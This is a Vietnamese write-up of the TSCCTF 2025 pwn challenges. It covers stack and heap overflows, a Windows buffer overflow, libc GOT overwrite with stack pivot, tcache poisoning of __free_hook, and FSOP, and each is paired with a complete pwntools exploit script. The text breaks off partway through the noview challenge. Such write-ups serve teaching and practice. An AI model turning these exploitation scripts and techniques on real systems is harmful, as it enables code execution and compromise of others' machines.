---
# System prepended metadata

title: TSCCTF 2025
tags: [writeup]

---

![image](https://hackmd.io/_uploads/r1b-XTPwJl.png)

## gamble_bad_bad


- bài này là 1 bài pwn C++ tuy nhiên chỉ là 1 bài warmup 


```C
#include <string.h>
#include <iostream>
#include <stdio.h>
using namespace std;

void jackpot() {
    char flag[50];
    FILE *f = fopen("/home/gamble/flag.txt", "r");
    if (f == NULL) {
        printf("錯誤：找不到 flag 檔案\n");
        return;
    }
    fgets(flag, 50, f);
    fclose(f);
    
    printf("恭喜你中了 777 大獎！\n");
    printf("Flag 是：%s", flag); 
}

struct GameState {
   char buffer[20];
   char jackpot_value[4];  
} game;

void spin() {
   strcpy(game.jackpot_value, "6A6");
   
   printf("輸入你的投注金額：");
   gets(game.buffer);

   printf("這次的結果為：%s\n", game.jackpot_value);

   if (strcmp(game.jackpot_value, "777") == 0) {
       jackpot();
   } else {
       printf("很遺憾，你沒中獎，再試一次吧！\n");
   }
}

int main() {
   setvbuf(stdout, NULL, _IONBF, 0);
   setvbuf(stdin, NULL, _IONBF, 0);
   printf("歡迎來到拉霸機！試著獲得 777 大獎吧！\n");
   spin();
   return 0;
}
```

hàm ```jackpot``` sẽ là hàm lấy flag và bug xuất hiện ở ```spin``` , ta thấy ở đây nó dùng hàm ```gets``` để nhập dữ liệu vào ```buffer``` , và điều kiện để lấy flag là 

```
if (strcmp(game.jackpot_value, "777") == 0) {
       jackpot();
```

- vậy chỉ cần nhập 20 byte + '777' là oke

![image](https://hackmd.io/_uploads/HJREETPv1g.png)


------------------------

## Localstack


![image](https://hackmd.io/_uploads/HJG8NaDPkg.png)

checksec : 

![image](https://hackmd.io/_uploads/HkapNTvDyg.png)

## analys

ta sẽ có 4 option ở bài này : push , pop , show và exit


```C
int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  __int64 v5; // [rsp+0h] [rbp-100h] BYREF
  __int64 count; // [rsp+8h] [rbp-F8h]
  _QWORD v7[20]; // [rsp+10h] [rbp-F0h]
  char s[32]; // [rsp+B0h] [rbp-50h] BYREF
  char s1[40]; // [rsp+D0h] [rbp-30h] BYREF
  unsigned __int64 v10; // [rsp+F8h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  count = -1LL;
  puts("Commands: 'push <value>', 'pop', 'show', 'help', or 'exit'");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          printf(">> ");
          fgets(s, 25, stdin);
          __isoc99_sscanf(s, "%s", s1);
          if ( strcmp(s1, "push") )
            break;
          if ( (unsigned int)__isoc99_sscanf(s, "%*s %ld", &v5) == 1 )
          {
            v7[++count] = v5;
            printf("Pushed %ld to stack\n", v5);
          }
          else
          {
            puts("Invalid push.");
          }
        }
        if ( strcmp(s1, "pop") )
          break;
        v3 = count--;
        printf("Popped %ld from stack\n", v7[v3]);
      }
      if ( strcmp(s1, "show") )
        break;
      printf("Stack top: %ld\n", v7[count]);
    }
    if ( !strcmp(s1, "exit") )
      break;
    if ( !strcmp(s1, "help") )
      puts("Commands: 'push <value>', 'pop', 'show', 'help', or 'exit'");
    else
      printf("Unknown command: %s\n", s1);
  }
  return 0;
}
```

- với option push ta sẽ được input 1 giá trị vào v7[idx++] , với idx ban đầu sẽ là -1 và v7 sẽ nằm ở ```rsp+0x10``` và idx của ta sẽ nằm ở ```rsp+8``` , ta cần chú ý điểm này 

```C
fgets(s, 25, stdin);
          __isoc99_sscanf(s, "%s", s1);
          if ( strcmp(s1, "push") )
            break;
          if ( (unsigned int)__isoc99_sscanf(s, "%*s %ld", &v5) == 1 )
          {
            v7[++count] = v5;
            printf("Pushed %ld to stack\n", v5);
          }
```

- tiếp theo sẽ là pop , logic rất đơn giản , có nghĩa là nó sẽ giảm idx đi 1 đơn vị 

```
if ( strcmp(s1, "pop") )
          break;
        v3 = count--;
        printf("Popped %ld from stack\n", v7[v3]);
```

- show : nó sẽ in giá trị ở vị trí v7[idx]

```
 if ( strcmp(s1, "show") )
        break;
      printf("Stack top: %ld\n", v7[count]);
```

### EXPLOIT

- ở bài này , ta cần kết hợp các option lại với nhau , ta thấy ta được ghi 1 giá trị bất kì vào v7[++idx] , và ta có luôn hàm ```print_flag``` nên không cần leak libc

```C
unsigned __int64 print_flag()
{
  FILE *stream; // [rsp+8h] [rbp-58h]
  char s[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  stream = fopen("flag", "r");
  if ( !stream )
  {
    perror("fopen");
    exit(1);
  }
  fgets(s, 64, stream);
  printf("%s", s);
  fclose(stream);
  return v3 - __readfsqword(0x28u);
}
```

- vậy đơn giản việc ta sẽ làm là giảm idx đi 1 với option ```pop``` , tiếp theo lúc này ta có thể dùng ```option``` push để thay đổi giá trị của ```idx``` ,  tiếp theo ta có thể dùng lại option ```push``` với ```idx``` là giá trị mà ta muốn và ở bài này sẽ là ret_address , tuy nhiên bài này PIE bật nên trước hết ta sẽ leak ```exe_address``` bằng option ```show```


- ta có thể thấy được ```idx``` ở địa chỉ ```0x7fffffffd708```  , tuy nhiên thì địa ```main``` khá là xa  

![image](https://hackmd.io/_uploads/r1lZaw6DPJe.png)

- vậy ta sẽ trừ rsp đi 0x20 để tìm địa chỉ exe xem có không và ta thấy ```0x7fffffffd6f8``` trỏ đến ```0x00005555555553f3``` và rsp lúc này là ```0x7fffffffd700``` , idx lúc này là -1 và v7[-1] sẽ là ```0x7fffffffd708``` vậy ta cần ```pop``` thêm 2 lần để nó trỏ đến địa chỉ exe và dùng hàm show để bypass PIE , tiếp theo việc cần làm sẽ ra tính toán để thay đổi giá trị của idx làm sao cho v7[idx] sẽ là ret_address , lúc làm bài này thì mình chưa nghĩ đến nên mình đã tính toán để leak ```canary``` luôn 

![image](https://hackmd.io/_uploads/rJUNupvPkl.png)

script 

```python
#!/usr/bin/env python3

from pwn import *

exe = ELF("./localstack_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.39.so")

context.binary = exe
p  =remote('172.31.1.2', 11100)

p.sendlineafter(b'>> ',b'pop')
p.sendlineafter(b'>> ',b'pop')
input()
p.sendlineafter(b'>> ',b'show')

p.recvuntil(b'Stack top: ')
exe.address = int(p.recvline()[:-1]) - 0x14ef

p.sendlineafter(b'>> ',b'push 1')
p.sendlineafter(b'>> ',b'push 29')
p.sendlineafter(b'>> ',b'show')

p.recvuntil(b'Stack top: ')
canary = int(p.recvline()[:-1])
canary = hex(canary & (2**64 -1))
canary = int(canary,16)
print(canary)

p.sendlineafter(b'>> ',b'push 0')
p.sendlineafter(b'>> ',f'push {exe.sym.print_flag}')
p.sendlineafter(b'>> ',b'exit')


p.interactive()
```

![image](https://hackmd.io/_uploads/Bk1Wo6DPkl.png)

-----------

## 窗戶麵包


bài này sẽ là 1 bài ```bof``` window , mình chưa làm pwn window bao giờ , tuy nhiên thì bài này ở mức dễ nên ta có thể làm tương tự pwn linux , và bài này khá giống 1 bài blog của tác giả luôn , nó chỉ thêm đoạn check thôi , ta có thể xem ở đây : https://kazma.tw/2024/11/18/AngelBoy-Windows-Binary-Exploitation-bofeasy-Writeup/
![image](https://hackmd.io/_uploads/B1kXoaDPyx.png)


- nhìn vào bài thì đầu tiên nó sẽ leak hàm ```main``` sẵn cho ta luôn , tiếp theo là có 1 bug ```bof``` ở trước mặt =)))


```
__int64 __fastcall main()
{
  FILE *v0; // rax
  char buf[48]; // [rsp+20h] [rbp-30h] BYREF

  _main();
  v0 = __acrt_iob_func(1u);
  setvbuf(v0, 0LL, 4, 0LL);
  printf("Something important: %p\n", main);
  puts("Can you get the flag?");
  _read(0, buf, 0x100u);
  return 0LL;
}
```





- magic : hàm này sẽ là target của bài , ta thấy nó check từng đối số , ở linux thì ta có thể dùng các lệnh ```pop``` để thiết lập , tuy nhiên thì cũng không cần thiết lắm , ta có thể nhảy thẳng vào và thực thi ```WinExec("cmd.exe", 0)``` luôn
```
void __cdecl magic(const char *param1, int param2, const char *param3)
{
  if ( !strcmp(param1, "B33F50UP") )
  {
    if ( param2 == 1337 )
    {
      if ( !strcmp(param3, "open_sesame") )
      {
        puts("All parameters are correct. Opening shell...");
        WinExec("cmd.exe", 0);
      }
      else
      {
        puts("Parameter 3 is incorrect!");
      }
    }
    else
    {
      puts("Parameter 2 is incorrect!");
    }
  }
  else
  {
    puts("Parameter 1 is incorrect!");
  }
}
```

script 

```
#!/usr/bin/python3

from pwn import *

p = remote('172.31.0.3', 56001)

p.recvuntil(b'Something important: ')
main = int(p.recvline()[:-1],16) - 0x14DB
target = 0x14c1
print(hex(main))

p.sendline(p64(main+target)*60)

p.interactive()
```

tuy nhiên vấn đề xảy ra khi có shell , nó trả về các kí tự tùm lum tùm la :))) , ta cần dùng lệnh ```chcp 65001``` để chuyển thành UTF-8


![image](https://hackmd.io/_uploads/BJegATvwyx.png)


## global_stack

![image](https://hackmd.io/_uploads/rJOg-AwPyx.png)


checksec : 

![image](https://hackmd.io/_uploads/Hkp8L0Pwyg.png)

### analys


- bài này sẽ giống với bài local_stack , chỉ khác ở chỗ là dữ liệu của ta lúc này sẽ không được nhập trên ```stack``` nữa , nó sẽ tạo 1 phân vùng heap bằng cách malloc ```s``` và ```s1``` 

```C
int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+0h] [rbp-20h] BYREF
  char *s; // [rsp+8h] [rbp-18h]
  char *s1; // [rsp+10h] [rbp-10h]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  s = (char *)malloc(0x19uLL);
  s1 = (char *)malloc(0x19uLL);
  puts("Commands: 'push <value>', 'pop', 'show', 'help', or 'exit'");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          printf(">> ");
          fgets(s, 25, stdin);
          __isoc99_sscanf(s, "%s", s1);
          if ( strcmp(s1, "push") )
            break;
          if ( (unsigned int)__isoc99_sscanf(s, "%*s %ld", &v4) == 1 )
          {
            top += 8;
            *(_QWORD *)top = v4;
            printf("Pushed %ld to stack\n", v4);
          }
          else
          {
            puts("Invalid push.");
          }
        }
        if ( strcmp(s1, "pop") )
          break;
        printf("Popped %ld from stack\n", *(_QWORD *)top);
        top -= 8;
      }
      if ( strcmp(s1, "show") )
        break;
      printf("Stack top: %ld\n", *(_QWORD *)top);
    }
    if ( !strcmp(s1, "exit") )
      break;
    if ( !strcmp(s1, "help") )
      puts("Commands: 'push <value>', 'pop', 'show', 'help', or 'exit'");
    else
      printf("Unknown command: %s\n", s1);
  }
  free(s);
  free(s1);
  return 0;
}
```

### EXPLOIT
- về cách leak thì ta có thể leak tương tự ```localstack```

```C
if ( strcmp(s1, "show") )
        break;
      printf("Stack top: %ld\n", *(_QWORD *)top);
```

- con trỏ top sẽ chứa địa chỉ của ```completed_8061``` (0x0000555555558038) và ta chỉ cần leak libc và PIE dễ dàng bằng cách pop 1 lần ta sẽ có địa chỉ libc của ```stdin``` , ```pop``` tiếp 3 lần nữa ta sẽ có địa chỉ ```exe```

![image](https://hackmd.io/_uploads/B17-QAPvkg.png)

![image](https://hackmd.io/_uploads/BkBx8AvP1l.png)

- ở bài này ta không thể overwrite ```ret_address``` giống bài trước , và ```GOT``` cũng không thể overwrite được , ở đây phiên bản libc sẽ là 2.31 nên ta có thể suy nghĩ đến ```hook``` , vậy ở đây ta sẽ thay đổi địa chỉ được ```top``` trỏ đến bằng ```free_hook``` , sau đó ta có thể ghi vào ```hook```

```C
if ( (unsigned int)__isoc99_sscanf(s, "%*s %ld", &v4) == 1 )
          {
            top += 8;
            *(_QWORD *)top = v4;
            printf("Pushed %ld to stack\n", v4);
```

- sau khi leak exe trong thì top đang trỏ đến chính nó 

![image](https://hackmd.io/_uploads/ByurtADPyg.png)

- vậy ta sẽ pop -> push ```free_hook``` vào là thay đổi được địa chỉ mà ```top``` trỏ đến 

![image](https://hackmd.io/_uploads/r1ZoFRDvkl.png)

- sau đó ta tiếp tục ```pop``` -> ```push``` để thay đổi giá trị của ```free_hook``` thành ```one_gadget``` , cuối cùng trước khi kết thúc chương trình thì nó thực hiện ```free``` và ta sẽ có được shell


script 

```python
#!/usr/bin/env python3

from pwn import *

exe = ELF("./globalstack_patched",checksec=False)
libc = ELF("./libc-2.31.so",checksec=False)
ld = ELF("./ld-2.31.so",checksec=False)

context.binary = exe
#p = process()
p = remote('172.31.1.2', 11101)
#gdb.attach(p,gdbscript='''
#           brva 0x0000000000001362
#           brva 0x00000000000013D3
#           ''')

p.sendlineafter(b'>> ',b'pop')

p.sendlineafter(b'>> ',b'show')
p.recvuntil(b'Stack top: ')

libc.address = int(p.recvline()[:-1]) - 0x1ec980
log.info(f'libc: {hex(libc.address)}')
for i in range(4):
    p.sendlineafter(b'>> ',b'pop')
p.sendlineafter(b'>> ',b'show')
p.recvuntil(b'Stack top: ')
exe.address = int(p.recvline()[:-1]) - 0x6d01136010
log.info(f'exe: {hex(exe.address)}')

one_gadget = [0xe3afe,0xe3b01,0xe3b04]

free_hook = libc.sym.__free_hook
libc_onegadget = libc.address + one_gadget[1]

input()
p.sendlineafter(b'>> ',b'pop')
p.sendlineafter(b'>> ',f'push {free_hook}'.encode())

p.sendlineafter(b'>> ',b'pop')
p.sendlineafter(b'>> ',f'push {libc_onegadget}'.encode())

p.sendlineafter(b'>> ',b'exit')


p.interactive()
```

![image](https://hackmd.io/_uploads/HJMB9APvJe.png)



------------------

BabyStack
-------

1 bài được đánh giá ở mức hard 

![image](https://hackmd.io/_uploads/ryPcNl_vJx.png)


checksec : 

![image](https://hackmd.io/_uploads/ryDAEeuDJx.png)


- đầu tiên ta sẽ được leak địa chỉ ```libc``` , đây là 1 dạng bài ghi tùy ý , đầu tiên ta sẽ được input 3 lần , mỗi lần 8 byte

```C
int __fastcall main(int argc, const char **argv, const char **envp)
{
  void *v4; // [rsp+8h] [rbp-48h] BYREF
  _QWORD buf[2]; // [rsp+10h] [rbp-40h] BYREF
  _QWORD v6[2]; // [rsp+20h] [rbp-30h] BYREF
  _QWORD v7[4]; // [rsp+30h] [rbp-20h] BYREF

  v7[3] = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  v4 = 0LL;
  buf[0] = 0LL;
  buf[1] = 0LL;
  v6[0] = 0LL;
  v6[1] = 0LL;
  v7[0] = 0LL;
  v7[1] = 0LL;
  puts("========= Welcome To Baby Stack =========");
  printf("| Gift : %p\n", &puts);
  puts("| Do you know how the stack works ?");
  printf("| > ");
  read(0, buf, 8uLL);
  puts("| Do you know how the stack works ?");
  printf("| > ");
  read(0, v6, 8uLL);
  puts("| Do you know how the stack works ?");
  printf("| > ");
  read(0, v7, 8uLL);
  puts("| Show your skills !");
  printf("| > ");
  __isoc99_scanf("%llx", &v4);
  printf("| > ");
  read(0, v4, 0x10uLL);
  puts("========= End Of Baby Stack =========");
  return 0;
}
```

- lần input thứ 4 sẽ là vấn đề chính của ta , ta sẽ được nhập 1 địa chỉ , tiếp theo ta được input dữ liệu vào địa chỉ đó , ở bài này ```GOT``` sẽ không thể overwrite , các phương pháp như ```rtld``` cũng không thể thành không 

```C
 printf("| > ");
  __isoc99_scanf("%llx", &v4);
  printf("| > ");
  read(0, v4, 0x10uLL);
```

ta có thể xem blog này : https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries

- target của bài này sẽ là overwrite ```got``` của libc , theo dõi backtrace , ta thấy ```puts``` sẽ gọi ```0x7ffff7dba490``` , vậy đơn giản là ta sẽ overwrite nó bằng ```one_gadget``` đúng không?  , tuy nhiên ở đây nó sẽ không thõa mãn bất cứ one_gadget nào , và lúc này 3 lần input trước đó sẽ phát huy tác dụng và đây cũng chính là giải pháp dự định của tác giả 

![image](https://hackmd.io/_uploads/S1hVPx_wkx.png)

![image](https://hackmd.io/_uploads/r1mZuxOP1l.png)

- 2 lần input đầu tiên ta sẽ setup các ```reg``` thõa mãn điều kiện ```one_gadget``` và lần input thứ 3 sẽ là one_gadget của ta , vậy lúc này ta sẽ overwrite ```libc_got``` bằng cái gì? , stack lúc này input1 của ta sẽ là ```rsp+0x58``` , vậy ta chỉ cần dùng gadget nào đó điều khiển nó trỏ đến ```input1``` và mọi thứ sẽ thành công

![image](https://hackmd.io/_uploads/rkO-YxuvJx.png)

```0x00000000000a0265: add rsp, 0x58; ret;``` đây sẽ là gadget thích hợp nhất để pivot stack

![image](https://hackmd.io/_uploads/Sk9-cxODkx.png)


script 

```python
#!/usr/bin/env python3

from pwn import *

exe = ELF("./chal_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")

context.binary = exe
p = process()
#p = remote('172.31.2.2', 36902)
#gdb.attach(p,gdbscript='''
#           brva 0x0000000000001388
#           brva 0x00000000000013B7
#           ''')
p.recvuntil(b'Gift : ')
libc.address = int(p.recvline()[:-1],16) - libc.sym.puts
ld.address = libc.address + 0x22b000
log.info(f'ld: {hex(ld.address)}')
log.info(f'libc: {hex(libc.address)}')
log.info(f'system; {hex(libc.sym.system)}')
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
log.info(f'got: {hex(got)}')

poprsiret = libc.address + 0x2be51 # pop rsi; ret
poprdxret = libc.address + 0x170337 # pop rdi; ret
onegadget = libc.address + 0xebc88 # execve("/bin/sh", rsi, rdx)

stackpivot = libc.address + 0x00000000000a0265 # add rsp, 0x58; ret

p.sendafter(b"how the stack works",p64(poprsiret))
p.sendafter(b"how the stack works",p64(poprdxret))
p.sendafter(b"how the stack works",p64(onegadget))

p.recvuntil(b"Show your skills")

input()
p.sendlineafter(b">",hex(got+152))
p.sendlineafter(b">",p64(stackpivot))

p.interactive()
```

sever down ròi nên lấy shell ở local thoai

![image](https://hackmd.io/_uploads/rJIdceuDyl.png)

![image](https://hackmd.io/_uploads/Bk3K5g_vkg.png)

ref : 
https://hackmd.io/@pepsipu/SyqPbk94a#setcontext32


## cách 2 : 

cách này thì mình research hoài chưa hiểu nên tạm để đây :))) 

```
from pwn import *
import random

libc = ELF("libc.so.6")

while True:
    for off in range(0x202, 0x500):
        try:
        
            # off = random.randint(0x200, 0x4ff)
            off = hex(off)[2:]
            off = "0x" + off + "000"
            off = int(off, 16)
            r = remote("172.31.2.2", 36902)
            # r = process("./chal")
            # r = remote("172.18.0.2", 36902)
            # off = int(input())
            r.recvuntil(b": ")
            k = r.recvline().strip().decode()
            # off = 0x230000
            libc_base = int(k, 16) - libc.symbols["puts"]
            ld_base = libc_base + off
            print(hex(off))
            if(libc_base < 0):
                print(k, int(k, 16) - libc.symbols["puts"])
            print(hex(libc_base))
            print(hex(ld_base))
            l_addr_off = 0x3b2e0
            fini_array_off = 0x3d98

            l_addr = ld_base + l_addr_off
            print(hex(l_addr))

            # print(hex(libc.address))
            r.sendlineafter(b"> ", b"aaaaaaa")
            r.sendlineafter(b"> ", b"aaaaaaa")
            r.sendlineafter(b"> ", b"aaaaaaa")

            r.sendlineafter(b"> ", hex(l_addr - 8).encode())
            oneoff = 0xebd38
            r.sendlineafter(b"> ", p64(libc_base + oneoff) + p64(l_addr - 8 - fini_array_off))
            print("dd")
            k = b""
            k = r.recvuntil(b" =========", timeout=1)
            if k == b"":
                r.interactive()
            print(k)
            r.sendline(b"ls")
            r.recvline()
            print("yee")
            r.interactive()
            # TSC{YoU_KnOw_h0w_7h3_b4bY_st@(k_w0rk$_!!!}
        except:
            try:
                r.close()
            except:
                pass
            pass


```



-----------

# babyheap


![image](https://hackmd.io/_uploads/B1t_m6uPJl.png)


checksec : 

![image](https://hackmd.io/_uploads/rk4wQa_DJl.png)


## Analys 

- ta sẽ có 4 option chính ở bài này

```c 
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    menu();
    read(0, buf, 8uLL);
    switch ( atoi(buf) )
    {
      case 1:
        add();
        break;
      case 2:
        delete();
        break;
      case 3:
        edit();
        break;
      case 4:
        view();
        break;
      case 5:
        exit(0);
      default:
        puts("invalid!");
        break;
    }
  }
}
```



- add : ta sẽ được input ```idx``` và ```size``` , ở đây nó check idx < 0x20 , gán size vào mảng ```sizes[idx]``` và malloc với size vừa nhập


```C
unsigned __int64 add()
{
  signed int v0; // ebx
  int size; // [rsp+0h] [rbp-20h] BYREF
  unsigned int idx; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  size = 0;
  idx = 0;
  printf("index > ");
  __isoc99_scanf("%d", &idx);
  printf("size > ");
  __isoc99_scanf("%d", &size);
  if ( idx < 0x20 )
  {
    sizes[idx] = size;
    v0 = idx;
    notes[v0] = malloc(size);
  }
  else
  {
    puts("invalid!");
  }
  return __readfsqword(0x28u) ^ v4;
}
```

- delete : nhập idx và check notes[idx] có tồn tại không , nếu thõa thì free notes[idx] đó đi , ở đây khi ```free``` sẽ không xảy ra ```UAF```

```C
unsigned __int64 delete()
{
  int idx; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  idx = 0;
  printf("index > ");
  __isoc99_scanf("%d", &idx);
  if ( notes[idx] )
  {
    free((void *)notes[idx]);
    notes[idx] = 0LL;
    sizes[idx] = 0;
  }
  return __readfsqword(0x28u) ^ v2;
}
```


- edit : ta được nhập 1 ```idx``` và 1 ```size``` , tiếp theo nó sẽ read vào chunk[idx] với length là size mà ta nhập -> ```heap overflow```

```C
unsigned __int64 edit()
{
  size_t size; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  size = 0LL;
  printf("index > ");
  __isoc99_scanf("%d", (char *)&size + 4);
  getchar();
  if ( notes[SHIDWORD(size)] )
  {
    printf("size > ");
    __isoc99_scanf("%d", &size);
    getchar();
    printf("content > ");
    read(0, (void *)notes[SHIDWORD(size)], (unsigned int)size);
  }
  else
  {
    puts("invalid!");
  }
  return __readfsqword(0x28u) ^ v2;
}
```

- view :  đơn giản là nó sẽ in dữ liệu của chunk[idx] mà ta nhập vào 



```C
unsigned __int64 view()
{
  int idx; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  idx = 0;
  printf("index > ");
  __isoc99_scanf("%d", &idx);
  if ( notes[idx] )
    write(1, (const void *)notes[idx], (unsigned int)sizes[idx]);
  else
    puts("invalid!");
  return __readfsqword(0x28u) ^ v2;
}
```


### EXPLOIT

- ở bài này ta có thể overwrite heap và không có hạn chế nhiều nên ta có thể leak libc thoải mái bằng cách free() 1 chunk > 0x420 -> vào unsorted-bin và ta sẽ có libc 
- khi có libc rồi thì phiên bản libc ở bài này là 2.31 -> có tcache , ta chỉ việc free 2 tcache và ta có thể dùng overflow để overflow ```fd``` của tcache trỏ đến
```free_hook``` , cuối cùng chỉ cần ```malloc``` lại và thay đổi dữ liệu trong ```tcache```

script 


```python
#!/usr/bin/env python3

from pwn import *

exe = ELF("./chal_patched")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")

context.binary = exe
#p = process()
p = remote('172.31.3.2', 4241)
def add(idx,size):
    p.sendlineafter(b'> ',b'1')
    p.sendlineafter(b'> ',f'{idx}'.encode())
    p.sendlineafter(b'> ',f'{size}'.encode())

def delete(idx):
    p.sendlineafter(b'> ',b'2')
    p.sendlineafter(b'> ',f'{idx}'.encode())
def edit(idx,size,data):
    p.sendlineafter(b'> ',b'3')
    p.sendlineafter(b'> ',f'{idx}'.encode())
    p.sendlineafter(b'> ',f'{size}'.encode())
    p.sendafter(b'> ',data)

def show(idx):
    p.sendlineafter(b'> ',b'4')
    p.sendlineafter(b'> ',f'{idx}'.encode())


add(0, 0x500)
add(1, 0x10)

delete(0)

add(2, 0x70)
add(3, 0x70)
add(4, 0x70)
show(2)  #leak libc 

libc.address = u64(p.recvline()[:8]) - 0x1ed010
log.info(f'libc: {hex(libc.address)}')

input()
add(5, 0x380)
free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']

delete(4)
delete(3)

#### overwrite fd of chunk 3 to free_hook ####

edit(2, 0x88, b'a' * 0x70 + p64(0) + p64(0x81) + p64(free_hook))  #change fd
add(5, 0x70)
add(6, 0x70)

edit(5, 8, b'/bin/sh\x00')
### change free_hook to system ###
edit(6, 8, p64(system))
delete(5)
p.interactive()
```

1 điều cần chú ý là khi malloc fake chunk thì , số lượng ```tcache_pthread``` phải lớn hơn 0.


## cách 2 

1 kĩ thuật gọi là ```the house of water``` : https://corgi.rip/posts/leakless_heap_1/#forcing-a-leak-with-file-buffering

```
#!/usr/bin/env python3

from pwn import *
import io_file

exe = ELF("./chal_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.31.so")

context.binary = exe
global p, index

def conn():
    if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p,gdbscript='''
dprintf *edit+0xe9,"reading into %p\\n",$rdi
continue
''')
            sleep(2)
    else:
        p = remote("172.31.3.2",4240)
    return p

def malloc(idx, size):
    p.sendlineafter(b"exit",b"1")
    p.sendlineafter(b"index >",str(idx).encode())
    p.sendlineafter(b"size >",str(size).encode())
    
def free(idx):
    p.sendlineafter(b"exit",b"2")
    p.sendlineafter(b"index >",str(idx).encode())

def edit(idx, data): # this func has overflow Lol
    p.sendlineafter(b"exit",b"3")
    p.sendlineafter(b"index >",str(idx).encode())
    # p.sendlineafter(b"size >",b"99999")
    p.sendafter(b"content > ",data)
    
def read(idx):
    p.sendlineafter(b"exit",b"3")
    p.sendlineafter(b"index > ",str(idx).encode())
    leak = p.readuntil(b"1. add note",drop=True)
    return leak


def main():
    global p
    p = conn()
    
    """
    babyheap & noview without doing any heap exploitation :troll:
    
    theory:
    for babyheap AND noview, there is no bounds check on the 'edit' feature
    this means if there are any pointers lying outside of the 'notes' array, we can write to them with the edit feature
    and right behind 'notes' are pointers to libc's stdin/stdout/stderr!
    these are well known to be VERY exploitable, and we can freely edit them. :)
    
    more at https://corgi.rip/posts/leakless_heap_1/, "Step 2: RCE" section
    """
    # context: stdout is at notes[-8]
    
    # step 0: create chunk at notes[24] so that sizes[-8] has valid size
    malloc(28,0x60)
    
    # step 1: hijack stdout to force libc leak
    edit(-8,( 
        p64(0xfbad3887) + # add _IO_IS_APPENDING flag to stdout
        p64(0)*3 + # read_base, end, and ptr. can be anything
        p8(0) # overwrite LSB of write_base
        ))
        
    libc_leak = u64(p.recvn(16)[8:])
    libc.address = libc_leak - libc.sym['_IO_2_1_stdin_']
    info(f"{libc.address:#x}")

    # step 2: fsop to shell
    file = io_file.IO_FILE_plus_struct() 
    payload = file.house_of_apple2_execmd_when_do_IO_operation(
        libc.sym['_IO_2_1_stdout_'],
        libc.sym['_IO_wfile_jumps'],
        libc.sym['system'])
    
    edit(-8,payload)

    p.interactive() # What is a heap exploitations? Someone help
    
if __name__ == "__main__":
    main()
```

![image](https://hackmd.io/_uploads/SywrYRuwJl.png)

----------

## noview






checksec : full giap

![image](https://hackmd.io/_uploads/B1zGEytDyg.png)


- ta có 4 option chính : add() , delete() , edit() , copy() , như tên bài đã đề cập , ở đây nó sẽ không có hàm nào để in dữ liệu các chunk

```C 
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    menu();
    read(0, buf, 8uLL);
    switch ( atoi(buf) )
    {
      case 1:
        add();
        break;
      case 2:
        delete();
        break;
      case 3:
        edit();
        break;
      case 4:
        copy();
        break;
      case 5:
        exit(0);
      default:
        puts("invalid!");
        break;
    }
  }
}
```

- add : hàm này tương tự bài heap trước , nhập 1 size tùy ý và check idx < 0x20 

```C
unsigned __int64 add()
{
  unsigned int v0; // ebx
  int size; // [rsp+0h] [rbp-20h] BYREF
  unsigned int idx; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  size = 0;
  idx = 0;
  printf("index > ");
  __isoc99_scanf("%d", &idx);
  printf("size > ");
  __isoc99_scanf("%d", &size);
  if ( idx < 0x20 )
  {
    sizes[idx] = size;
    v0 = idx;
    notes[v0] = malloc(size);
  }
  else
  {
    puts("invalid!");
  }
  return __readfsqword(0x28u) ^ v4;
}
```

- delete() : nhập 1 ```idx``` và free() , ở đây vì không xóa con trỏ nên xảy ra ```UAF``` 

```C
unsigned __int64 delete()
{
  int idx; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  idx = 0;
  printf("index > ");
  __isoc99_scanf("%d", &idx);
  if ( notes[idx] )
    free((void *)notes[idx]);
  return __readfsqword(0x28u) ^ v2;
}
```

- edit : được nhập 1 idx và chỉnh dữ liệu ở ```notes[idx]``` 

```C
unsigned __int64 edit()
{
  _DWORD idx[2]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
